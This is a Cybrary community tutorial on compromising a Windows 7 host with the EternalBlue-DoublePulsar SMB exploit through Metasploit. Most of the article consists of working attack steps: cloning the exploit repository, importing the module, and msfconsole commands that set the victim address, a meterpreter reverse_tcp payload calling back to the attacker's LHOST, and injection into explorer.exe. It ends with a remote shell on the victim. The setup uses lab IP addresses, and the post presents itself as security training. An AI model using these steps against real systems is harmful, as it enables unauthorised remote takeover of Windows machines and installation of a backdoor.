Hack Windows with EternalBlue-DoublePulsar Exploit through Metasploit

May 21, 2018 | Views: 1913

Begin Learning Cyber Security for FREE Now!

FREE REGISTRATIONAlready a Member Login Here

Eternal blue-Double pulsar-Metasploit

Today in this post we gonna learn how to exploit windows 7 using Eternalblue-Doublepulsar Exploit with Metasploit
So What is Eternalblue-Doublepulsar?

EternalBlue Malware Developed by National Security Agency (NSA) exploiting Windows based Server Message Block (SMBv1) and to be believed the tool has released by Shadow Brokers hackers Group in April 2017 and it has been used for Wannacry Cyber Attack.

The DOUBLEPULSAR help us to provide a backdoor access to a windows system.
We can exploit windows 7 remotely and don’t need to send any spyware or payload to victim.
So let’s get started!
Attacker Machine: Kali Linux – [IP Address: 192.168.1.103]
(you can use any other penetration-testing OS)
Victim Machine: Windows 7 – [IP Address: 192.168.1.112]
Before Downloading any exploit from GitHub we have to configure something called wine

wine help us to run windows program on a non-Windows computer

 apt-get update -y
apt-get upgrade -y
apt-get install wine -y
apt-get install winetricks -y
dpkg –add-architecture i386 && apt-get update && apt-get install wine32 -y

Run these above command one by one. After this we have to Download the Exploit from GitHub. Open the terminal in Kali Linux and type following command to download this exploit from GitHub.

git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git

Note: Be sure that we’re cloning the git in the home directory.

After Downloading the exploit we need to move the exploit inside the Metasploit to do that, just go ahead and open the downloaded directory and copy Eternal Blue-Doublepulsar.rb ruby file.
Now paste these copied ruby file inside given path /usr/share/metasploit-framework /module/exploits/windows/smb which will add this exploit inside Metasploit-Framework.
Now we are done with importing exploit to Metasploit-Framework, just load msfconsole.
 
 
 
 
msf  > use exploit/windows/smb/eternalblue_doublepulsar
 
 
 
 
msf show options
 
 
You can change the options according to your need.
Here, we have to set
msf exploit(eternalblue_doublepulsar) > RHOST <Victim Address>
msf exploit(eternalblue_doublepulsar) > RPORT 445
 
We have to set a windows meterpreter reverse_tcp payload to get a reverse connection in meterpreter.
msf exploit(eternalblue_doublepulsar) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(eternalblue_doublepulsar) > set LHOST <Attacker Address>
 
We also have to specify a PROCESSINJECT
msf exploit(eternalblue_doublepulsar) > set PROCESSINJECT explorer.exe 
(you can give whatever process that you want to migrate to)
Set target architecture according to victim machine by default it is set to x86 (32bit)
msf exploit(eternalblue_doublepulsar) >set targetarchitecture x64
As you can see below screenshot all config is all set
Just we need to type exploit and which will give us a meterpreter session.
We successfully spawned a meterpreter shell in Windows 7.
For more Articles like this, visit my blog and check out video tutorials on my youtube channel.
Share with Friends
FacebookTwitterGoogle+LinkedInEmail
Use Cybytes and
Tip the Author!
Join
Share with Friends
FacebookTwitterGoogle+LinkedInEmail
Ready to share your knowledge and expertise?
1 Comment
  1. can we use a Windows OS to do this?

Comment on This

You must be logged in to post a comment.

Our Revolution

We believe Cyber Security training should be free, for everyone, FOREVER. Everyone, everywhere, deserves the OPPORTUNITY to learn, begin and grow a career in this fascinating field. Therefore, Cybrary is a free community where people, companies and training come together to give everyone the ability to collaborate in an open source way that is revolutionizing the cyber security educational experience.

Cybrary On The Go

Get the Cybrary app for Android for online and offline viewing of our lessons.

Get it on Google Play
 

Support Cybrary

Donate Here to Get This Month's Donor Badge

 
Skip to toolbar

We recommend always using caution when following any link

Are you sure you want to continue?

Continue
Cancel